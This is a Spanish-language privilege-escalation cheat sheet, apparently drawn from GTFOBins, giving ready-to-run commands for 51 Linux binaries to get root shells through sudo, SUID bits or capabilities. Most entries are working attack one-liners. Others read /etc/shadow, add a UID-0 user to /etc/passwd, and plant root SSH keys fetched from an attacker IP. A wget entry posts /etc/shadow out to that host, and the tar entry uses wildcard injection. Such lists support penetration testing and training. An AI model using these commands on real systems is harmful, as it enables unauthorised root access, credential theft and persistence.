Binarios Linux explotables

Busca el binario que te ha salido en sudo -l, en find / -perm -4000 o en getcap -r /. En los ejemplos SUID, ./binario es la ruta del binario con el bit SUID (por ejemplo /usr/bin/find). Selección propia basada en GTFOBins.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Mostrando 51 de 51 binarios

apt-get Sudo
Sudo
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Ficha completa en GTFOBins ↗

awk ShellSudoLeer ficheros
Shell
awk 'BEGIN {system("/bin/sh")}'
Sudo
sudo awk 'BEGIN {system("/bin/sh")}'
Leer ficheros
awk '//' /etc/shadow

Ficha completa en GTFOBins ↗

base64 Leer ficheros
Leer ficheros
./base64 /etc/shadow | base64 -d

Sirve igual con sudo o SUID.

Ficha completa en GTFOBins ↗

bash ShellSudoSUIDEscribir ficheros
Shell
bash
Sudo
sudo bash
SUID
./bash -p

Sin -p, bash descarta los privilegios del SUID.

Escribir ficheros
bash -c 'echo "contenido" > /ruta/fichero'

Ficha completa en GTFOBins ↗

busybox ShellSudoSUIDDescargar ficheros
Shell
busybox sh
Sudo
sudo busybox sh
SUID
./busybox sh
Descargar ficheros
busybox wget http://10.10.14.5/fichero -O /tmp/fichero

Ficha completa en GTFOBins ↗

chmod SudoSUID
Sudo
sudo chmod u+s /bin/bash && bash -p
SUID
./chmod 6777 /etc/shadow

Con SUID o sudo puedes dar permisos a cualquier fichero (shadow, sudoers, una copia de bash...).

Ficha completa en GTFOBins ↗

cp Leer ficherosEscribir ficheros
Leer ficheros
./cp /etc/shadow /dev/stdout
Escribir ficheros
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" > /tmp/linea
cat /etc/passwd /tmp/linea > /tmp/passwd
sudo cp /tmp/passwd /etc/passwd
su pwn

Añade un usuario con UID 0 y contraseña pwn123. Con SUID usa ./cp en vez de sudo cp.

Ficha completa en GTFOBins ↗

curl Descargar ficherosLeer ficherosEscribir ficheros
Descargar ficheros
curl http://10.10.14.5/fichero -o /tmp/fichero
Leer ficheros
./curl file:///etc/shadow
Escribir ficheros
sudo curl http://10.10.14.5/authorized_keys -o /root/.ssh/authorized_keys

Ficha completa en GTFOBins ↗

date Leer ficheros
Leer ficheros
sudo date -f /etc/shadow

Cada línea sale en un mensaje de error de fecha no válida. Con SUID usa ./date.

Ficha completa en GTFOBins ↗

dd Leer ficherosEscribir ficheros
Leer ficheros
./dd if=/etc/shadow
Escribir ficheros
echo "contenido" | sudo dd of=/ruta/fichero

Ficha completa en GTFOBins ↗

docker ShellSudo
Shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Si tu usuario está en el grupo docker, esto ya te da root en el anfitrión.

Sudo
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Ficha completa en GTFOBins ↗

env ShellSudoSUID
Shell
env /bin/sh
Sudo
sudo env /bin/sh
SUID
./env /bin/sh -p

Ficha completa en GTFOBins ↗

expect ShellSudo
Shell
expect -c 'spawn /bin/sh;interact'
Sudo
sudo expect -c 'spawn /bin/sh;interact'

Ficha completa en GTFOBins ↗

find ShellSudoSUID
Shell
find . -exec /bin/sh \; -quit
Sudo
sudo find . -exec /bin/sh \; -quit
SUID
./find . -exec /bin/sh -p \; -quit

Ficha completa en GTFOBins ↗

flock SudoSUID
Sudo
sudo flock -u / /bin/sh
SUID
./flock -u / /bin/sh -p

Ficha completa en GTFOBins ↗

ftp Sudo
Sudo
sudo ftp
!/bin/sh

La segunda línea se escribe dentro de ftp.

Ficha completa en GTFOBins ↗

gdb ShellSudoCapabilities
Shell
gdb -nx -ex '!sh' -ex quit
Sudo
sudo gdb -nx -ex '!sh' -ex quit
Capabilities
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Necesita cap_setuid y que gdb tenga soporte de Python.

Ficha completa en GTFOBins ↗

git Sudo
Sudo
sudo git -p help config
!/bin/sh

Se abre el paginador (less); la segunda línea se escribe ahí. Si no pagina, reduce el tamaño de la terminal.

Ficha completa en GTFOBins ↗

journalctl Sudo
Sudo
sudo journalctl
!/bin/sh

Funciona si la salida no cabe en pantalla y se abre less.

Ficha completa en GTFOBins ↗

less ShellSudoLeer ficheros
Shell
less /etc/profile
!/bin/sh
Sudo
sudo less /etc/profile
!/bin/sh
Leer ficheros
./less /etc/shadow

Ficha completa en GTFOBins ↗

lua ShellSudo
Shell
lua -e 'os.execute("/bin/sh")'
Sudo
sudo lua -e 'os.execute("/bin/sh")'

Ficha completa en GTFOBins ↗

make SudoSUID
Sudo
sudo make -s --eval=$'x:\n\t-'"/bin/sh"
SUID
./make -s --eval=$'x:\n\t-'"/bin/sh -p"

Ficha completa en GTFOBins ↗

man Sudo
Sudo
sudo man man
!/bin/sh

Ficha completa en GTFOBins ↗

more SudoLeer ficheros
Sudo
sudo more /etc/profile
!/bin/sh

Haz la terminal pequeña para que more no termine antes de poder escribir.

Leer ficheros
./more /etc/shadow

Ficha completa en GTFOBins ↗

mysql Sudo
Sudo
sudo mysql -e '\! /bin/sh'

Ficha completa en GTFOBins ↗

nano SudoEscribir ficheros
Sudo
sudo nano
Ctrl+R Ctrl+X
reset; sh 1>&0 2>&0

Ctrl+R y luego Ctrl+X abren «Ejecutar comando»; ahí escribes la tercera línea.

Escribir ficheros
sudo nano /etc/sudoers

Ficha completa en GTFOBins ↗

nice SudoSUID
Sudo
sudo nice /bin/sh
SUID
./nice /bin/sh -p

Ficha completa en GTFOBins ↗

nmap Sudo
Sudo
echo 'os.execute("/bin/sh")' > /tmp/x.nse
sudo nmap --script=/tmp/x.nse
Sudo
sudo nmap --interactive
!sh

Solo en versiones antiguas de nmap (2.02 a 5.21).

Ficha completa en GTFOBins ↗

node ShellSUIDCapabilities
Shell
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
SUID
./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
Capabilities
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Ficha completa en GTFOBins ↗

openssl Leer ficherosEscribir ficheros
Leer ficheros
./openssl enc -in /etc/shadow
Escribir ficheros
echo "contenido" | sudo openssl enc -out /ruta/fichero

Ficha completa en GTFOBins ↗

perl ShellSudoSUIDCapabilities
Shell
perl -e 'exec "/bin/sh";'
Sudo
sudo perl -e 'exec "/bin/sh";'
SUID
./perl -e 'exec "/bin/sh", "-p";'
Capabilities
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Ficha completa en GTFOBins ↗

php ShellSudoSUIDCapabilities
Shell
php -r 'system("/bin/sh");'
Sudo
sudo php -r 'system("/bin/sh");'
SUID
./php -r 'pcntl_exec("/bin/sh", ["-p"]);'
Capabilities
./php -r 'posix_setuid(0); system("/bin/sh");'

Ficha completa en GTFOBins ↗

pip Sudo
Sudo
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

Ficha completa en GTFOBins ↗

python ShellSudoSUIDCapabilitiesLeer ficheros
Shell
python3 -c 'import os; os.system("/bin/sh")'
Sudo
sudo python3 -c 'import os; os.system("/bin/sh")'
SUID
./python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Capabilities
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Leer ficheros
./python3 -c 'print(open("/etc/shadow").read())'

Ficha completa en GTFOBins ↗

rsync ShellSudo
Shell
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
Sudo
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

Ficha completa en GTFOBins ↗

ruby ShellSudoCapabilities
Shell
ruby -e 'exec "/bin/sh"'
Sudo
sudo ruby -e 'exec "/bin/sh"'
Capabilities
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

Ficha completa en GTFOBins ↗

scp Sudo
Sudo
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

Ficha completa en GTFOBins ↗

sed ShellSudoLeer ficheros
Shell
sed -n '1e exec sh 1>&0' /etc/hosts
Sudo
sudo sed -n '1e exec sh 1>&0' /etc/hosts
Leer ficheros
./sed -n p /etc/shadow

Ficha completa en GTFOBins ↗

service Sudo
Sudo
sudo service ../../bin/sh

Ficha completa en GTFOBins ↗

socat Sudo
Sudo
sudo socat stdin exec:/bin/sh

Ficha completa en GTFOBins ↗

ssh ShellSudo
Shell
ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Sudo
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Ficha completa en GTFOBins ↗

strace SudoSUID
Sudo
sudo strace -o /dev/null /bin/sh
SUID
./strace -o /dev/null /bin/sh -p

Ficha completa en GTFOBins ↗

systemctl SudoSUID
Sudo
sudo systemctl
!sh

Abre el paginador; reduce la terminal si no aparece.

SUID
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
bash -p

Ficha completa en GTFOBins ↗

tar ShellSudo
Shell
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Sudo
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Si un script de root hace tar con un comodín (tar czf x.tgz *), crea ficheros llamados --checkpoint=1 y --checkpoint-action=exec=sh x.sh en esa carpeta.

Ficha completa en GTFOBins ↗

tee Escribir ficheros
Escribir ficheros
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" | sudo tee -a /etc/passwd
su pwn

Ficha completa en GTFOBins ↗

timeout SudoSUID
Sudo
sudo timeout --foreground 7d /bin/sh
SUID
./timeout 7d /bin/sh -p

Ficha completa en GTFOBins ↗

vim ShellSudoSUIDCapabilitiesLeer ficheros
Shell
vim -c ':!/bin/sh'
Sudo
sudo vim -c ':!/bin/sh'
SUID
./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Necesita vim con soporte de Python 3 (vim --version | grep python3).

Capabilities
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Leer ficheros
./vim /etc/shadow

Ficha completa en GTFOBins ↗

wget Descargar ficherosEscribir ficherosLeer ficheros
Descargar ficheros
wget http://10.10.14.5/fichero -O /tmp/fichero
Escribir ficheros
sudo wget http://10.10.14.5/passwd -O /etc/passwd
Leer ficheros
sudo wget --post-file=/etc/shadow http://10.10.14.5/

Recibe el fichero en tu máquina con nc -lvnp 80.

Ficha completa en GTFOBins ↗

xargs ShellSudoSUID
Shell
xargs -a /dev/null sh
Sudo
sudo xargs -a /dev/null sh
SUID
./xargs -a /dev/null sh -p

Ficha completa en GTFOBins ↗

xxd Leer ficherosEscribir ficheros
Leer ficheros
./xxd /etc/shadow | xxd -r
Escribir ficheros
echo "contenido" | xxd | sudo xxd -r - /ruta/fichero

Ficha completa en GTFOBins ↗

zip Sudo
Sudo
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Ficha completa en GTFOBins ↗